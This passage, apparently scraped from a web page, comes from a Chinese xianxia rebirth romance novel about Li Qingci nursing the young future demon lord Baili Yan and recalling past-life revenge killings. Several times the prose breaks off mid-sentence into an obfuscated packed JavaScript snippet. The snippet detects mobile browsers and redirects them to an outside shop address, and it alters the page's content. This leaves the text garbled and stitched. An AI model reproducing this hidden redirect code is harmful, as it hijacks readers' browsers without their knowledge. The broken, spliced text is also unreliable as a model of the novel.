他眼底一片猩红,那原本如火焰般的魔印反而没有了往日的神采。实际上在百里衍身边这些年她时常觉得他可怕,不愧是让仙门闻风丧胆的存在,她也见识过他无数残忍手段。 仙门信奉强者庇佑苍生,而百里衍则遵循最原始的弱肉强食的规则,视弱者如草芥,任由他玩弄屠杀。 不过他本就是魔不是吗?魔不就是这样的吗? 所以看到这个大魔头那发红的眼和蓄在眼底的泪水,他的愤怒他的痛苦他的不甘,哪怕濒死状态的她也难免诧异。 百里衍,你这样的魔头竟也会难过吗? 黎清词又感觉到心头传来熟悉的绞痛,她皱眉缓了缓,急忙从回忆中收回思绪。 已忘了前世救他时有没有为他擦过汗,有没有好好照顾他,可是现在。 现在百里衍,我会对你好些。 黎清词守了他一晚上,这一夜他过得并不安稳,伤痛让他时常呻吟,额头被疼出一层层汗水。她一遍遍为他擦汗,一遍遍查看他伤口是否发炎,直到天光熹微他呻吟声才缓了些,黎清词最后一遍查看他伤口,已没有昨日见到时那般狰狞可怖了。 黎清词放松下来这才让自己歇了一会儿,睡醒时百里衍还未醒,他脸色稍微好了些,黎清词想着远和师兄的药果然管用,试炼回去之后再问他要些。 黎清词走出帐篷,去小河边洗了把脸,回去时却见百里衍坐了起来。黎清词面色一喜,急忙问他:“你好些了吗?可还有什么地方难受?” 百里衍望着眼前人,黎清词还记得百里衍昏迷之前的眼神,如寒冰似的,跟记忆中那大魔头若出一辙。都是百里衍有相同的眼神并不奇怪,可此刻再对上他的目光,这张相似的脸,可眼神却大不相同,那般平和,这样的眼神是绝无可能出现在那大魔头百里衍身上的。 说话的声音也轻轻的,因为受伤有些哑,却也能听出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“无妨的,黎姑娘这话言重了,得黎姑娘搭救我已感激不尽。”话虽这么说,可百里衍还是犹豫了一会儿,似做了一下心理准备这才将衣服脱下。 黎清词拿出药膏扫了一眼裤子,说道:“裤子也脱了。” “……” 5. 第 5 章 百里衍几分惊愕的目光看向她,黎清词对着这眼神又是一阵诧异,此刻他清澈的眼神闪烁着,像受惊的小鹿似的。 受惊的小鹿?未来那杀人不眨眼的大魔头,这样的形容是绝无可能出现在他身上。 可看着他这模样,心头莫名多了一股爽感,黎清词脸上表情自然冲他解释道:“你腿上也有伤。” 他的目光略慌乱躲开,这小表情真是看得黎清词嗤嗤称奇,真是没想到啊没想到,那个疯子竟会有这一面。 黎清词之所以说得这么自然,一方面是秉持救治之心没顾忌那么多,二来是她跟百里衍实在太熟了,这个人身上每一寸皮肤什么样她都知道,所以也没见外。 可仔细想来,这会儿两人应该是第一次见面,男女有别,更何况人家还年少。 百里衍犹豫了一会儿还是未能下定决心脱下裤子,他道:“腿上的伤,我自己来。” “也行。” 黎清词自然也没强求,不然显得自己女流氓似的,调戏人家一个小郎君。 黎清词璇了药膏在指尖,从肩头开始为他上药,指尖抹上去便感觉他身体发僵。黎清词下意识向他看,却见少年又避开她的目光,还将脸微微偏向一边。 黎清词忍着笑,肩头抹完又到后背,再然后是胸前,上到胸前时感觉他的身体绷得更紧,黎清词目光一低,无意中看到他落于身旁的双手紧紧拽着身下的干枯芦苇。再向他脸看去,便见他一张脸紧绷着,微微泛红。 黎清词望着这张脸被惊得回不过神,未来的大魔头百里衍,竟会紧张?还害羞?气氛有些凝滞,黎清词许久没动作,百里衍试探着向她看去,对上她有些复杂的目光。 “黎姑娘,剩下的,我……自己来。” 黎清词回过神,有些尴尬轻咳一声,将药膏递给他。她则出了帐篷走远了一些,随后想着方才所见,竟有些不敢置信笑起来。 黎清词在魔界被百里衍养得很好,饥饿的时候想着能吃饱就行,吃饱了之后就会想能吃好就行,而吃好的之后想法就更多了。 饥寒交迫时从未想过报仇,吃都吃不饱了哪里还有力气报仇,此刻不再为生计担忧时,那让她痛苦愤怒的一幕幕总会出现在脑海。 尤其想着仇人此刻还好好活着,复仇的种子开始在她体内生根发芽,就像一根刺一样刺着她,让她一天比一天不舒服。 可是该怎么报仇呢?她灵根被毁,多年修炼的功力也被人夺走。要重新修炼是不可能的,更何况此刻她还在魔界。 如果要修炼魔功就得有魔骨,魔骨可以天生就有,也可以后天修炼,她并非魔,所以她不可能天生就有,若要练出魔骨,需要强大的魔念,可她也没有强大的魔念。自小在仙门长大,即便被仙门所伤,可自小潜移默化所思所想皆与魔道相悖,她根本无法堕入魔道。 当然还有一种办法,就是像黎家夫妻那样,从别人身上攫取法力,可她灵根被毁,既没有可以接受灵力的灵根也不会可以攫取人功力的法术。 那么就还有一种办法,学习合欢宗,和功法更高的人双修,双修神魂相交时可以攫取对方的法力,这种方式既不需要她有灵根也不需要她有法术。 仙门的合欢宗就是用的此法修炼,这种修炼方式不要灵根,而且最便捷。当然这种方式也被仙门视作下九流,修士自来清高,极少有人会选择此法。 黎清词向来对合欢宗门不齿,没想到有一天竟会效仿。 黎清词选择的对象自然是百里衍,他强大,有高深莫测的功法,哪怕只在他身上攫取一点点也足够她报仇。 可是要与此人双修是何等难事,更何况此人杀人不眨眼,说不定惹他不快就被他捏成血雾。 不过自她被带到魔族之后她就一直被百里衍妥善照顾,再加上百里衍说过她曾救过他,她想她对百里衍来说或许是不一样的,所以她想抓住机会试试。 所以那天她选择了一件稍微出格些的衣服,但也没有太出格,比往常的裸露一些,多露了一片锁骨出来。 百里衍喜欢给她穿漂亮衣服给她戴漂亮的首饰,可她也能看出来,他喜欢看她娇媚,却也要不失端庄,说起来她和百里衍的审美倒是一致。在仙门时,只要不在洪都门,她总会穿上最漂亮的裙子,戴上好看的珠宝,光鲜亮丽出现在人前。 所以她大概了解他的喜好,与她的审美和接受度无所出其右就行。果然,今日百里衍到她房中,目光落在她身上时多停留了一瞬。 他依旧还坐在那张躺椅上,半斜着身体,用一种极慵懒的姿势,目光落在她身上盯着她看,手指漫不经心拨弄那枚黑得发亮的扳指。 他总喜欢这样看着她,什么也不做,就看着。不知道魔族之人的想法是不是都这般神经质,有时候她也不太清楚这个疯子究竟在想什么,就这么看着她,究竟有什么好看的。 而他每次来,她自做她的事情,或用膳或看书,他看完了自会走的。 此刻黎清词正在用膳,今日黎清词有别的想法便吃得慢些,她思索着该怎么让计划进行顺利。 她在玉盏中倒了一杯酒,纤细的手指捏着酒杯看向他,神情适当矫揉造作冲他说:“魔尊要陪我喝一杯吗?” 他拨弄着扳指没应声,这反而让黎清词有点尴尬,出师不利,一面在唾弃自己又学不来合欢宗那套还要学,一边又很快释然,无所谓收回目光,故作自然将杯中酒喝尽。 不过她没想到的是,百里衍竟从那躺椅上起身,走到桌前坐下,他的靠近反而让黎清词呼吸有些不畅。可他愿意过来终究是好事,她自然要抓住机会,调整了一下呼吸,便故作自然为他倒了一杯酒。他伸手正要端起,一双纤细玉手却先一步拿走,百里衍带着疑惑的眼神看向她,反正都走到这一步了,黎清词自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028828|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要冒险一试。 她学着曾在一次试炼中见过的合欢宗人的贱人模样,微微倾身,将酒杯举到他跟前,笑容浅浅,“我伺候魔尊饮酒。” 百里衍目光在酒杯上停留片刻随后落在她脸上,此刻他脸上不见被冒犯的愤怒,甚至还有几分兴味似的,可那眼神实在太过冷冽,深沉如海,有着让人看不透的危险。那股无形的威压下意识让她生出几分畏惧,不禁开始反思此举会不会惹恼他? 一股不安感袭来,可事已至此她也只能硬着头皮,哪怕举杯的手越来越僵硬。 手腕骤然一紧,是百里衍的手指扣了上来,他并未用力,身上姿态依旧如他斜靠在躺椅上时,是慵懒随性的,可黎清词却感觉被他扣住的地方隐隐发痛。 眼前高大的身姿骤然逼近,从他身上流泻的威压将她笼罩,他那双眼睛就好似有可怕的吸力一样,吸引着她的目光挪不动分毫,然而那潜藏的深沉可怕却让她身体发凉。 一股莫名的危险感随着他逼近席卷而上,黎清词听到了胸腔中擂鼓般的心跳,那种绝望可怕的感觉让她思维停顿了许久。 可其实并未有多久,他扣着她的手逼近,只短短一瞬的时间,随后他嘴角微勾,问她:“在哪里学的?” 黎清词咽了口唾沫,好似经历了一场生死般,可她也不想退缩,也做不出来伏低做小跪地求魔尊恕罪这种事。 所以对着他的目光,她竟也让自己冷静了下来,平静回答:“这还需要学吗?我什么都会的啊,更何况魔尊英明神武,自是吸引着人想靠近的。” 他没接话,一双眼睛却微眯,黎清词只觉得一口气提起来回不去,莫名的凝滞感让她感觉快喘不上气来了。 心头打鼓,恐惧不安袭来,无数次想着下一秒自己会不会变成血雾。 然而百里衍却突然松开了她,他重新走到那躺椅上坐下,斜躺着,慵懒的目光淡扫过来,嘴角一仰,冲她丢来两个字。 “过来。” 黎清词暗中吐出一口气,尽量让沉重的脚步显得自然一些,走到他跟前。 “坐下。” 黎清词乖乖在他身边坐下,百里衍却突然笑了一声,黎清词不明所以,下一刻却感觉腰间一紧,他好像也没用多大的力便带着她的腰一个转身,随即落在他腿上。身后一道如墙一般厚实宽阔的胸膛贴上来,紧实的腰就抵在她后背。 一双手臂并未用劲却强而有力搂在她腰间,他的气息自身后袭上来,浅浅落在她耳侧。 他全程动作都做得随意自然,游刃有余,然而黎清词在这一些列动作间心情起伏万变,还未从被他搂着的惊愕中回过神来,感觉到他气息在耳侧,她又不受控制一阵头皮发麻。 可他声音却很轻很轻,很有磁性,甚至带着几分调侃。 “看样子也不是很会,连该坐哪儿都不知道。” “……” 6. 第 6 章 从那天起百里衍再来她房中便不止是单纯看她。 到魔界之后,百里衍这人给她的感觉就是可怕又深不可测,或者是自带强者的威压,他总给人一种距离感,是那种高高在上不可亵渎的。 可和他有过床笫之欢之后黎清词才发现这人深不可测的另一面,有欲望,不知餍足,有时候让她感觉他像一头未开化的兽。 总之若两人在一起他便时刻要将她粘在他身上。那原本斜靠的软塌,不再是他一个人,他搂着她坐,搂着她躺,将那躺椅上的兽皮毯子弄得凌乱不堪。 黎清词收回思绪,想着方才少年百里衍,他慌乱躲避的眼神,他紧绷的脸,还有那抓着衣角紧得泛白的手。 简直难以置信,那个混蛋年少时竟也会有少年郎的紧张和羞涩。 不过黎清词在诧异之外却像是发现了新大陆似的,觉得趣味横生,这样的百里衍逗起来应该很好玩。 天空突然一声炸响让黎清词收回思绪,她抬头看去,见到一枚炮弹在天空爆开,顿时一片黑色烟雾弥漫。 这是洪都门的信号弹,试炼时用于确定人的位置。若无人回应,则默认失踪的人已在试炼中死去。 若默认死去,那试炼的排名自然也不会再有她,哪怕之后再回来,她也不在排名之中,无法参与奖励。 试炼的奖励有许多修炼用的天材地宝,黎清词可不想错过。 所以她拿出信号弹发送,表明她还活着。 声音自然也惊动了帐篷中的百里衍,他从帐篷中出来,黎清词收起发送信号弹用到的火折子,冲百里衍说道:“百里公子,此地不宜久留,我们要尽快离开,你能走吗?” 百里衍点点头,经过一晚的修整,伤口虽没有完全愈合,但已不影响走路。 “我们去哪儿?” “你有伤在身,我先带你去洪都门。” “洪都门……我能去吗?” “你虽不是洪都门的弟子却也是仙门中人,洪都门不会见死不救的。” 黎清词正要带着百里衍穿过迷失林,却见不远处空气突然扭曲变形随后出现一道透明结界,一个身穿灰色长衫的男子从结界中走出。 男人长髯垂及胸口,以一支桃木簪束发,右腰挂着一把浮尘,左腰配着一把宝剑,一副仙风道骨模样。 是她的师长魏无机。 黎清词看到此人,脑海骤然浮现那一幕,她被黎家夫妻绑在石椅上,她最敬爱的师长面色冷然,仿若对一个不相干的人一般将她身上的功力吸走。 那法术是仙门禁术,也不知黎家夫妻给了他什么好处,那位秉公执法,高洁傲岸的师长,原来也是会拿钱出卖良心之人。 那是她第一次真正认识魏无机,此后又接连发现此人更不堪的一面。 黎清词按捺着翻涌的情绪,恭敬行了一礼,“见过师长。” 魏无机略带严厉的目光在黎清词身上扫过,随后落于她身后的男子身上,“你是何人?为何在我洪都门试炼地?” 百里衍走上前拱手行礼,“见过尊长,学生乃飞光阁弟子百里衍。师门被魔族入侵,学生不得已逃到这里求救。” 黎清词看着眼前恭敬谦逊的人有些诧异,此时的百里衍似乎有着仙门弟子皆有的一切品质,谦逊有礼,尊师重道。 想着未来那个暴戾乖张,不将任何人放在眼中的百里衍,所以百里衍,你是怎么变成那大魔头的呢? “飞光阁?”魏无机面色微凝,“你身上有魔气。” 黎清词心头一咯噔,急忙说道:“百里公子被魔族所伤,身上残留魔气也不奇怪。” “小词。”魏无机面色凝重了一些,“不管他身上的魔气是被魔族所伤还是说他本身就是魔,对于来历不明的人还是该警惕些,有时候稍有不甚便会酿成大祸。”魏无机说完又冲百里衍道:“我不追究你擅闯洪都门试炼地之罪,你从哪里来便回哪里去。” 百里衍收回目光,依旧恭敬拱手,“师长,学生并非魔族,确乃飞光阁弟子,是仙门中人。” 魏无机微皱眉心盯着眼前少年,方才他一低头时魏无机竟觉得一股阴寒自他身上袭来,可再看去,少年依旧恭顺有礼。 黎清词想前世或许魏无机也说过同样的话,那时魏无机是她敬重的师长,自然是他说什么就是什么,所以前世她和少年百里衍的交集便到此结束。 她不会去想将受伤的百里衍赶走他会遭遇什么,又会经历什么磨难。师长要她谨慎,她便要谨慎。可是现在,她很清楚,将百里衍赶走他势必会陷入危险之中,他深受重伤恐怕难以自保,她不愿他身处危险,她要护他,就像前世他护着她那般。 所以她冲魏无机说道:“师长,飞光阁被魔族入侵,百里公子被魔族追杀,想来逃到岐山也并非他故意。他身上的魔气究竟来自魔族所伤还是他本身就是魔,我们并没有搞清楚。若他不是魔呢?若他真是仙门中人呢?此刻将他赶走,他势必陷入危险之中。洪都门以除魔卫道为己任,可洪都门也秉持着救死扶伤的理念,若让无辜之人陷入危险,是否就与洪都门救死扶伤的理念相悖呢?若传出去,于我洪都门的名声是否有损?不救人或者不是什么大事,可若损了洪都门的名声,那便是大事了。” 魏无机皱眉,面色诧异,黎清词自来听话,这是她第一次违抗他。不过魏无机还未来得及开口,便听得一道声音说道:“说得不错。” 就见那透明的结界处又走出一个人来,这人身上的衣着比洪都门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028829|194478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师长和弟子稍微华丽一些,衣袍上那蔚蓝的颜色也更鲜艳。 他捻着胡须笑着点头,“小词说得没错,无机你谨慎些是好,不过若像小词所说,这少年真是仙门中人,我洪都门见死不救,岂不落人话柄?” 听到这话黎清词面上一喜,却也没忘拱手行礼道:“见过门主。” 此人便是洪都门门主慕容正。 魏无机微颔首掩盖脸上表情,冲慕容正拱手,“门主所言极是,不过要带他回去还是得验明身份才是。” 慕容正点点头,冲百里衍道:“年轻人你过来。” 百里衍走到跟前,慕容正冲他摊开手,百里衍将手放上去。慕容正闭上眼,用灵力探查他身上是否有魔骨。 黎清词在一旁心都提了起来,她很清楚百里衍就是魔。不过慕容正的表情倒是一直都挺平和,探查完,慕容正收回手说道:“他确是仙门中人。” 黎清词松了一口气,心中暗想着,百里衍还算谨慎,将魔骨藏好了,竟连门主都发现不了。 有了门主的话,魏无机自然也不好再多说什么,几人回去时直接穿过透明结界,省了又再经过迷失林。 回到迷失林外面的空地上,弟子们便集中在此,秦朱玉看到黎清词出来,急忙奔过来将她上下打量,“小词你没事吧?” “我没事。” “你一直没回来,真要吓死我了,生怕你有个什么三长两短。” 秦朱玉说完这才看到多出的百里衍,她认出百里衍身上的衣服不属于洪都门,秦朱玉不禁疑惑,“这位……” “说来话长,回去再谈。” 一行人回到洪都门,百里衍暂时被安排在刀修堂的舍馆中养伤。洪都门汇集了各派所长,里面设剑修堂,刀修堂,符箓堂,医修堂等等,每一门与仙门中专门的大派也不相上下。 刀修堂空余的舍馆不少,百里衍所住的小院便只有他一个人居住。 黎清词帮着他安顿好之后拿了身衣服让他换上,他身上那件衣服已破烂不堪。 百里衍去换衣服时,黎清词就在外间等着,没一会儿听到动静,黎清词抬头看。洪都门的学子服是淡蓝色的,却不是纯粹的蓝,有一点白色晕染,就像烟雨天气里,被云层过滤过的天空的颜色。 少年清俊,不若未来那般强壮,可这身衣服穿在他身上却格外相衬。那张白皙的脸被衬得越发干净清透,似清晨凝在叶间的露珠。 高高扎起的马尾让身上那股少年气息更甚,如一股清新的风扑面而来。 没有那双寒冰似的深沉危险的眸子,此刻那双眼睛纯净得像一汪清泉。即便受了伤身上也透着少年人的意气风发,不若未来那般深沉难懂。 真是别样的好看呐。 7. 第 7 章 清清。 比小词还更柔软亲近些的称呼。她是真没想到百里衍会给她取个这样的昵称,有些肉麻的,是那个大魔头绝对不可能叫出口的。 眼前少年纯白干净,还有着年轻人的羞涩,果然是和未来大魔头不同的,百里衍,年少的你原来也有温柔的一面。 这一声清清,简直像一汪温热的水化在心头,黎清词不想承认她被撩拨了一下,不过面色还是自然的。 “甚好。” 他有些羞赧的微笑,“清清,你喜欢就好。” 不知为何,骤然有一股暧昧感围了过来,百里衍这副模样就给她一种很好说话的感觉,就是那种你想对他干什么他都会答应的。 黎清词觉得这个想法很危险,在年少的百里衍面前,她倒显得更像个魔。 “那,我便先走了,你好好休息。我空了再来看你。” 黎清词急匆匆告辞出来,站在门口深吸一口气,这才让神情自然一些离开。 黎清词离开许久百里衍才回过神来,阿衍……想到这个称呼,他又不禁低头一笑。 晚上百里衍难以入睡,脑海中一直响着那句,“阿衍,我叫你阿衍可好?” 他索性披衣起身,想利用夜晚的寒冷让自己冷静下来。夜间的洪都门安静得可怕,远处山林的轮廓像一只只蛰伏的巨兽。百里衍漫无目的走着,也不知走到了哪里,直到一抬头,只见眼前雾气弥漫,隐约间可见不远处矗立着大大小小的坟头。 百里衍不知这里是哪里,怎么走到这里来了,大晚上的误闯坟地着实骇人,百里衍正要离去,一阵风过,有细碎的说话声传来。 百里衍顺着声音走了几步,在几株杉树掩映间看到不远处站着几个人,天边高悬着半轮明月,淡淡的清辉落在几人身上,虽然看得不太清晰,可他还是辨认出来,这三人,一人是黎清词的师长,另外两位是黎清词的父母。 离得远,他听不清几人在说什么,心下却觉得奇怪,为何这几人会约在这里谈话?看着眼前大小不一的坟,这就不是个说话的地方。 正疑惑间,不远处魏无机像是发现了什么,他神情一凛,锋利的目光穿过萦绕的雾气向此处看过来。百里衍也不知被发现了没有,放轻了脚步离开,好在一路也无人追来。 回到房中百里衍越想越不对劲。他想到黎清词告诉过他,她住在如意轩,不过这会儿去找她太过唐突,可百里衍总觉得心理不踏实,便拿出黎清词给他的符纸,在上面写下她的名字,以食指和中指结印将符纸启动,只见一道金光闪过,他急忙轻声唤道:“黎……清清,你可睡了?” 黎清词确实已经睡下,不过感知到百里衍的召唤她急忙坐起身。已过子时,这么晚若没有急事,百里衍是不会找她的。 百里衍等了一会儿没人应,便想着她或许已经歇下了,明天同她说也可以。正这样想着,便听到不轻不重的敲门声。 百里衍急忙开门,来人果真是黎清词。 “你找我何事?”黎清词问他。 来不及欣喜她会直接出现,百里衍急忙将方才所见告诉她。 “我方才去了后山,看到你师长和你父母在那里说事。你父母找你师长肯定是谈你的事情,我觉得奇怪,为什么他们谈事要选择在后山,那边是一片坟场,不是说话的地方,我觉得事情蹊跷便想着告诉你,又或者是我想多了。” 后山坟场?看样子百里衍不小心跑去洪都门禁地了。 洪都门禁地葬着洪都门历代长老,除了祭拜日有专门的人去祭拜外,其余时间任何人不得闯入,百里衍不是洪都门学子,想来并不知道那里是禁地。 禁地,魏无机和她的父母…… 黎清词目光深深看了一眼百里衍,此人虽年少,心思敏锐这点倒是一直没变。 “有人看到你没有?” “我不确定,你师长好像知道附近有人,不过我离开后他没有追来,也不知他有没有看清我” 年少的百里衍还远没有未来那般强大,以魏无机的法力,恐怕追着他他都不知道。去到那个地方说话,说得肯定是一些见不得人的事,他们三人还有什么见不得人的事情可说呢?左不过是和她这个器皿有关。 若是让魏无机发现百里衍不小心看到他们,再加上百里衍又是黎清词带回来的。魏无机目前不会对黎清词怎么样,但百里衍肯定是逃不掉的。 若是在外面恐怕就直接杀了,可这是洪都门,直接杀了不好交代,那么魏无机会用什么办法对付百里衍呢。可不管什么方法,百里衍都很危险。 黎清词想了想说道:“你好好呆着,不要再出去了。” 百里衍试探着问:“是不是有什么事?” “没有。” “那便好。”百里衍似放了些心,“抱歉,这么晚还将你叫起来。” “没事,我知你是担心我。” 对上她的目光,百里衍闪过几分慌乱,很明显被她说中了。不过黎清词这会儿却没心思逗他,她还得想想接下来要怎么做。 黎清词正准备告辞离开,骤然想到什么,她问百里衍:“你怎么会认识我父母?” 飞光阁所在的州和云山相隔甚远,百里衍和她的父母想来是没见过面的,黎清词这么问倒不是怀疑他什么,只是好奇。 “两年前上元节,我见过你和你父母。” 这话倒让黎清词愣住了,“所以这次在迷失林并不是我们第一次见面?” “嗯,但你可能不记得了。” “……” 黎清词是真没想到,原来迷失林并不是她和百里衍第一次见面,可那个大魔头只提到迷失林并未提到上元节。 两年前上元节? 她是真一点印象都没有了。 那年上元节,在苏城,那里是凡人的都城,热闹繁华,也是百里衍母亲的故乡。他母亲是个凡人,和父亲分开之后母亲带着她回到外婆家,后来母亲过世,他便跟着舅舅一家生活。 舅舅一家并不喜欢他,舅妈对他更是不待见,舅舅一家对他就是喂口饭吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我没有家人。” 女孩似乎有些惊讶,可随即就笑了笑,将手上花灯递给他,“这个送你,有花灯伴你,你别那般孤寂。” 百里衍看着花灯有些错愕,女孩的家人唤着她,她将花灯递到他手上,便又身姿轻快飞回画舫。 百里衍的目光下意识追随而去,而女孩已与父母说笑,没再看她,画舫也很快消失在眼前。 百里衍低头看着花灯。 有花灯伴你,你别那般孤寂。 那是他和黎清词的第一次见面,她那般光鲜亮丽出现在他面前,像一朵生活在光照下的花,鲜艳,灿烂,夺目。 后来他才从师兄们口中知道她出生云山黎家,那是仙门几大剑修家族之一,而且还是洪都门的学子。一个在天,一个在地,她如天上月,而他是地上的一滩烂泥。 可那花灯常常伴他左右,从小到大他能做的事情只有活着,可从那天开始,他有了想做的事,他想去洪都门。 他这摊烂泥也想一窥天上的月。 8. 第 8 章 “不管黎姑娘与何人有婚约,甚至她已与何人结为夫妻,只要黎姑娘愿意与我相交,我自也乐意,你与其费心劝我倒不如去劝黎姑娘。” “……” 梁靖安满腔怒火在心底汹涌,他没想到一个人竟然如此不知廉耻,而且还那么理所当然。 梁靖安按捺着怒火问他:“小词知道你是如此粗俗无礼之人吗?” “你可以告诉她。” 这一次他扫向他的目光里含着挑衅,梁靖安甚至感觉到了威胁,这家伙竟在威胁他?他算个什么东西? 梁靖安自持身份自然也懒得跟他一般见识,丢下一句:“你好自为之。”转身便走。 这日黎清词去打坐完刚要去用膳,迎面遇到守卫,守卫告诉她门口有人找。黎清词来到洪都门那巍峨的大门前,只见一老妇人等在那里。她身上结了层水雾,布满风霜的脸上双唇被冻得发紫,哪怕风和日丽无风雪时云山之上依旧冰寒刺骨,想来她一路上山并不容易。 妇人看到她时却是满脸欣喜,风霜像被吹散了似的,她走上前,表情慈爱关切,“二小姐,近日可好,练功可累?” 是从小将她带大的嬷嬷,看到她黎清词又是一阵情绪翻涌,她尽量让表情自然,应道:“我安好,嬷嬷可好?” “好好好,小姐好我便好。”嬷嬷手上还拿了个包裹,说话间便将包裹递上前,“夫人让我给二小姐拿的药,想来上次带来的已吃完了?煎药的要领小姐还记得把?先将药浸泡,等药湿润之后再用武火快煎,煮沸后改文火慢煎,两碗煎成一碗。” 黎清词道:“嬷嬷放心,洪武们的医修堂有相熟的师兄师姐,他们会帮忙的。” “那就行那就行,那老身便不耽误二小姐修炼了,这便下山去。” 黎清词目送她下山,直到她身影消失不见她表情才渐渐冷了下来。前世总感念嬷嬷辛苦,云山艰险也不忘为她送药,生怕她不够喝,却不知她给她送的药是一些乱心神的药。 得知真相时不敢置信质问她,嬷嬷哭着说她也是没有办法,她和她儿子的命都捏在老爷夫人手中。黎清词想她或许有难言之隐,可后来她还是将她杀了。 所有设计她,欺辱她,伤害她的人,都被她通通杀了。 说起来这一切还得感谢百里衍。 第一次和百里衍双修,两人神魂相交黎清词便迫不及待用神识探查,想趁机吸取他的法力,不料却被百里衍发现。 那时就在那张兽皮躺椅之上,百里衍搂着她腰坐在他怀中,她与他神识相缠时暗戳戳试探着汲取,却被他第一时间发现。 下巴一紧,是他骨节分明的手指扣住了她的下巴,黎清词被迫抬头,对上的是他有些迷离的眼。沉溺欲望之时抽离,一张冷肃的脸,紧抿的唇透着不悦,危险气息自他周身流泻,可眼底的欲色还未褪去,紧抿的唇依旧泛着暧昧的红。 他说话的语气却冰冷,“你找死吗?” 黎清词心头一咯噔,暗想完了,这会儿色相也牺牲了还被他拿了个正着,得不偿失,赔了夫人又折兵。 “魔气在我体内能被我压制,去了你体内你能压制住吗?就这么无所顾忌贪吃?不怕爆体而亡?” 黎清词被他扣着下巴说不上话,倒不是他捏得有多狠,而是此刻他整个人都极具危险,她心中不安,被压迫得说不了话。 绝望感开始蔓延,只期待他下手时能利落一点。 果然以身饲魔能有什么好结果。 思绪纷乱间,额头一阵滚烫传来,是他的头突然靠过来抵着她额头,距离靠近,鼻息再次缠绵,他再开口时语气缓和了些。 “我将魔气减弱些再给你,不要自己贪吃,我有分寸你没有,你可明白?” 听到这话黎清词心头一惊,却来不及庆幸突然转危为安,急忙应声:“明白。” 话落便感觉一股暖流顺着额间传到她身上,他果然将减弱了魔气的法力传给她。 源源不断的暖流窜在身时,跟本让她来不及多想,她只觉得身体战栗,既难受又舒服。 数不清究竟跟百里衍有过多少次双修,可她接收总有极限,毕竟她非魔族,也没有魔骨,魔气在她身体里聚集得太多,就像他说的那样会爆体而亡。 不过也足够了,有这样的功力足够让她报仇。那一日她到了仙门,寻着一个合适的时间,提着剑到了黎家,从外杀到内。 黎家夫妻,她给了十二剑,剑剑命中经脉。那时黎怀婉已与梁靖安成亲,而黎清词特意选择他二人回门省亲的日子。她是先杀的黎怀婉,当着黎家夫妻的面,将他们最疼爱的女儿杀掉,看着她们痛苦愤怒却无可奈何的样子。 她最后杀的是梁靖安。 这个她曾经的青梅竹马,被她打成内伤,只能靠坐在墙角。 不过临死前他却还在挣扎,“小词,你家里的事情我并不知晓,后来才从我父母口中得知。我是家中独子,只能接受父母的安排,我本来想着要照顾你。” 他所谓的照顾就是将她养成外室,确实好像比她在外面自生自灭要好。 “小词,我知你……” 不知道他要说知你什么,黎清词却一点听的耐心都没有,因为不重要。他话未出口便被她一剑封喉,干净利落丝毫没有犹豫。冷静看着他喷涌出的血和那双不敢置信的眼睛,却懒得再看那双眼里的生机一点点消失殆尽,他挡不住她汇聚魔气的一剑,反正最后都是死。 而她还要赶着去杀最后一人,她曾经敬重的师长,魏无机。 要杀魏无机并不容易,他毕竟身在云山之上,云山上有昊阳神君灵气庇佑,她根本上不去。所以要引魏无机下山。 倒是让黎清词找到机会。 魏无机与许多洪都门师长一样,都是一身正气的长者,他和许宓师长是人人艳羡的道侣。 都知魏无机与许宓恩爱非常,魏无机在修堂是严厉的师长,在许宓跟前却化为绕指柔,甘愿为道侣洗手作羹汤。 而许宓因为修炼无法生育,魏无机也丝毫不介意,日复一日用心呵护着她。 如果黎清词没有调查到魏无机在外面养有个女人和儿子,她也会和世人一样觉得魏无机真是个绝世好男人。 魏无机是仙门中人,他很谨慎,找的外室并不是仙门中人,而是个凡人。与凡人生有一子,哪怕这个孩子或许没有灵根无法入仙门,魏无机也要生下这个孩子让自己的血脉延续。 所以这外室和儿子便是魏无机的软肋,果然黎清词绑了魏无机的儿子,让他外室去云山传信,魏无机便急匆匆赶来。 自然又是一场恶战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎清词回过神来,应道:“嗯。” “你家人对你真好,这药也是好东西吧?改天也分我一点?” “那可不行。” 秦朱玉撇撇嘴,“抠门。” 可不是她抠门,这药真不是好东西。而且还不太好处理,也不知洪都门里有没有黎家夫妻安装的眼线,看样子在撕破脸之前还得继续假装喝。 